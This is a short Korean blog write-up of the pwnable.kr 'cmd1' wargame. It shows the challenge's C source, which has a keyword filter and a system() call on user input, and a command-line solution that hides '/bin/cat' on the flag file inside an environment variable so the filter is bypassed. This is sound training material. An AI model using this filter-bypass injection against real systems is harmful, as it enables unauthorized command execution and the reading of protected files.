#include <stdio.h> #include <string.h> int filter(char* cmd){ int r=0; r += strstr(cmd, "flag")!=0; r += strstr(cmd, "sh")!=0; r += strstr(cmd, "tmp")!=0; return r; } int main(int argc, char* argv[], char** envp){ putenv("PATH=/fuckyouverymuch"); if(filter(argv[1])) return 0; system( argv[1] ); return 0; }
Introduction:
본 문제는 환경변수를 이용해 flag를 출력하는 문제
Command line:
cmd1@ubuntu:/tmp/Aitch_cmd1$ export F="/bin/cat /home/cmd1/flag"
cmd1@ubuntu:/tmp/Aitch_cmd1$ /home/cmd1/cmd1 \${F}
mommy ~!@#%^&*()_+~!@#$%^&*()_+~!@#$%^&*()_+
cmd1@ubuntu:/tmp/Aitch_cmd1$
Reference:
1) 환경변수 - linux: http://kiros33.blog.me/220270849224
'Pwnable.kr' 카테고리의 다른 글
[3pt]collision (0) | 2015.08.07 |
---|---|
[1pt]mistake (0) | 2015.08.06 |
[1pt]fd (0) | 2015.08.06 |
[5pt]bof (0) | 2015.08.06 |
[1pt]random (0) | 2015.08.06 |